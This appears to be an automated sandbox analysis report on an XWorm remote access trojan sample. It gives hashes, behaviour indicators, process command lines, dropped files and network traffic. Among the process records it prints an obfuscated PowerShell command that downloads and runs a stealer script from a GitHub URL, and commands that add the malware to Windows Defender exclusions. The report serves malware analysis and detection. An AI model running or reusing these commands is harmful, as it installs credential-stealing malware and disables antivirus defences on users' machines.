File name:

l.exe

Full analysis: https://app.any.run/tasks/9d7fb071-923d-4b1d-bd67-a457c575ed90
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

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Analysis date: December 14, 2024, 08:38:13
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
github
xworm
remote
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
MD5:

79CF2B2F02054D93E25753F233F14F4B

SHA1:

8CE5D046E71DEF533D4A73AF69414D12673E7F9F

SHA256:

CFED367CDE90248197E9C680FD5BEA609030E045D64D050E336103CFABB1F143

SSDEEP:

12288:NkVogrusLUmwsEQjGPRMAdaGF6d46iOlFsaVGv57l+yQU:8ogrusLUmwsEQjGPRMAdaGE46iObsaVs

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  • MALICIOUS

    • Changes powershell execution policy (Bypass)

      • $77loader.exe (PID: 3524)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3688)
      • powershell.exe (PID: 236)

    • Adds path to the Windows Defender exclusion list

      • $77loader.exe (PID: 3524)

    • Adds process to the Windows Defender exclusion list

      • $77loader.exe (PID: 3524)

    • XWORM has been detected (YARA)

      • $77loader.exe (PID: 3524)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 524)

    • XWORM has been detected (SURICATA)

      • $77loader.exe (PID: 3524)

    • Create files in the Startup directory

      • powershell.exe (PID: 524)

  • SUSPICIOUS

    • Reads the date of Windows installation

      • $77loader.exe (PID: 3220)
      • $77loader.exe (PID: 3524)

    • Application launched itself

      • $77loader.exe (PID: 3524)
      • powershell.exe (PID: 5252)
      • $77loader.exe (PID: 3220)

    • Executable content was dropped or overwritten

      • l.exe (PID: 5460)
      • powershell.exe (PID: 524)

    • The process executes via Task Scheduler

      • $77loader.exe (PID: 3220)
      • $77loader.exe (PID: 4816)
      • $77loader.exe (PID: 4724)

    • Starts CMD.EXE for commands execution

      • $77loader.exe (PID: 3524)

    • Script adds exclusion path to Windows Defender

      • $77loader.exe (PID: 3524)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 4428)
      • $77loader.exe (PID: 3524)
      • powershell.exe (PID: 5252)

    • Reads security settings of Internet Explorer

      • $77loader.exe (PID: 3524)
      • $77loader.exe (PID: 3220)

    • Possibly malicious use of IEX has been detected

      • mshta.exe (PID: 4428)

    • Executing commands from ".cmd" file

      • $77loader.exe (PID: 3524)

    • The process executes Powershell scripts

      • mshta.exe (PID: 4428)
      • powershell.exe (PID: 5252)

    • Script adds exclusion process to Windows Defender

      • $77loader.exe (PID: 3524)

    • Probably download files using WebClient

      • powershell.exe (PID: 5252)

    • Uses ATTRIB.EXE to modify file attributes

      • powershell.exe (PID: 524)

    • Connects to unusual port

      • $77loader.exe (PID: 3524)

    • Contacting a server suspected of hosting an CnC

      • $77loader.exe (PID: 3524)

  • INFO

    • Reads the computer name

      • l.exe (PID: 5460)
      • $77loader.exe (PID: 3220)
      • $77loader.exe (PID: 3524)
      • $77loader.exe (PID: 4816)
      • $77loader.exe (PID: 4724)

    • Reads the machine GUID from the registry

      • $77loader.exe (PID: 3524)
      • $77loader.exe (PID: 3220)

    • The process uses the downloaded file

      • $77loader.exe (PID: 3524)
      • mshta.exe (PID: 4428)
      • powershell.exe (PID: 5252)
      • $77loader.exe (PID: 3220)

    • Process checks computer location settings

      • $77loader.exe (PID: 3524)
      • $77loader.exe (PID: 3220)

    • Checks supported languages

      • $77loader.exe (PID: 3524)
      • l.exe (PID: 5460)
      • $77loader.exe (PID: 3220)
      • $77loader.exe (PID: 4816)
      • $77loader.exe (PID: 4724)

    • Creates files or folders in the user directory

      • $77loader.exe (PID: 3524)

    • Creates files in the program directory

      • l.exe (PID: 5460)
      • powershell.exe (PID: 524)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 4428)

    • Disables trace logs

      • powershell.exe (PID: 5252)
      • $77loader.exe (PID: 3524)
      • powershell.exe (PID: 524)

    • Checks proxy server information

      • powershell.exe (PID: 5252)
      • mshta.exe (PID: 4428)
      • $77loader.exe (PID: 3524)
      • powershell.exe (PID: 524)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 3688)
      • powershell.exe (PID: 5252)
      • powershell.exe (PID: 236)
      • powershell.exe (PID: 524)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3688)
      • powershell.exe (PID: 236)
      • powershell.exe (PID: 524)

    • Reads Environment values

      • $77loader.exe (PID: 3524)

    • Reads the software policy settings

      • $77loader.exe (PID: 3524)

    • Gets or sets the time when the file was last written to (POWERSHELL)

      • powershell.exe (PID: 524)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 524)
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No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (56.7)
.exe | Win64 Executable (generic) (21.3)
.scr | Windows screen saver (10.1)
.dll | Win32 Dynamic Link Library (generic) (5)
.exe | Win32 Executable (generic) (3.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:12:14 08:33:54+00:00
ImageFileCharacteristics: Executable
PEType: PE32
LinkerVersion: 8
CodeSize: 448512
InitializedDataSize: 2048
UninitializedDataSize: -
EntryPoint: 0x6f70a
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 1.0.0.0
InternalName: l.exe
LegalCopyright:
OriginalFileName: l.exe
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
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Total processes
149
Monitored processes
27
Malicious processes
4
Suspicious processes
1

Behavior graph

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start l.exe $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs #XWORM $77loader.exe $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs $77loader.exe no specs cmd.exe no specs conhost.exe no specs mshta.exe no specs powershell.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs attrib.exe no specs $77loader.exe no specs $77loader.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
236"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77loader.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—$77loader.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
524"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://raw.githubusercontent.com/EVIL-D-E-V/M/refs/heads/main/shellcode/stealer.ps1')) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1544\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2324#cmdC:\ProgramData\$77loader.exe—$77loader.exe
User:
admin
Integrity Level:
HIGH
Description:
Exit code:
4294967295
Version:
1.0.0.0
Modules
Images
c:\programdata\$77loader.exe
c:\windows\system32\ntdll.dll
2624#cmdC:\ProgramData\$77loader.exe—$77loader.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
4294967295
Version:
1.0.0.0
Modules
Images
c:\programdata\$77loader.exe
c:\windows\system32\ntdll.dll
3220"C:\ProgramData\$77loader.exe"C:\ProgramData\$77loader.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\programdata\$77loader.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3524"C:\ProgramData\$77loader.exe" C:\ProgramData\$77loader.exe
$77loader.exe
User:
admin
Integrity Level:
HIGH
Description:
Version:
1.0.0.0
Modules
Images
c:\programdata\$77loader.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3560#cmdC:\ProgramData\$77loader.exe—$77loader.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
4294967295
Version:
1.0.0.0
Modules
Images
c:\programdata\$77loader.exe
c:\windows\system32\ntdll.dll
3576#cmdC:\ProgramData\$77loader.exe—$77loader.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
4294967295
Version:
1.0.0.0
Modules
Images
c:\programdata\$77loader.exe
c:\windows\system32\ntdll.dll
3688"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\$77loader.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—$77loader.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
30 226
Read events
30 209
Write events
17
Delete events
0

Modification events

(PID) Process:(4428) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4428) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4428) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(3524) $77loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
2
Suspicious files
2
Text files
9
Unknown types
0

Dropped files

PID
Process
Filename
Type
3524$77loader.exeC:\Users\admin\AppData\Roaming\empyrean\c.cmdtext
MD5:04B9AB3E6F0F76814F7840AD83D560B1
SHA256:438938C8E73FD405DEF0CF4EA641E3A01BBF3D443540A890A733640A662B9B68
5460l.exeC:\ProgramData\$77loader.exeexecutable
MD5:79CF2B2F02054D93E25753F233F14F4B
SHA256:CFED367CDE90248197E9C680FD5BEA609030E045D64D050E336103CFABB1F143
524powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zvdj1iur.cbe.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
236powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_o04tzouf.ucx.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3688powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l04fi1nq.su5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
524powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_s0tmfgdq.qbg.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
236powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5bqjg3rj.4f2.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
524powershell.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclientt.exeexecutable
MD5:6A38E035957D63A6478FFADE82713BE2
SHA256:4E50E4AD5189D7E410EB1BDCCE73F0ECDFD4F566A2C71FE7852214904659D30B
5252powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jdfjh1sv.xuu.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
524powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:C904B83F3EB6B36C24B175843EAE2F18
SHA256:AE9C3B418FC314078AEA3B8FE77670BDBD72E127D1DAE886D031A73C2074B64F
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HTTP(S) requests
9
TCP/UDP connections
24
DNS requests
9
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3696
RUXIMICS.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
302
140.82.121.3:443
https://github.com/43a1723/test/releases/download/siu/stub.exe
unknown
—
—
unknown
—
—
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3700
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
140.82.121.3:443
https://raw.githubusercontent.com/EVIL-D-E-V/M/refs/heads/main/download.ps1
unknown
text
985 b
unknown
—
—
GET
200
140.82.121.3:443
https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip
unknown
text
21 b
unknown
—
—
GET
200
140.82.121.3:443
https://raw.githubusercontent.com/EVIL-D-E-V/M/refs/heads/main/shellcode/stealer.ps1
unknown
text
877 b
unknown
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
192.168.100.255:137
—
—
—
whitelisted
3696
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3700
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3696
RUXIMICS.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3700
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3696
RUXIMICS.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 20.73.194.208
whitelisted
google.com
  • 216.58.206.46
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
raw.githubusercontent.com
  • 185.199.109.133
  • 185.199.111.133
  • 185.199.108.133
  • 185.199.110.133
shared
github.com
  • 140.82.121.3
shared
objects.githubusercontent.com
  • 185.199.110.133
  • 185.199.108.133
  • 185.199.111.133
  • 185.199.109.133
shared
self.events.data.microsoft.com
  • 20.44.10.123
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Attempting to access raw user content on GitHub
3524
$77loader.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm TCP Packet
No debug info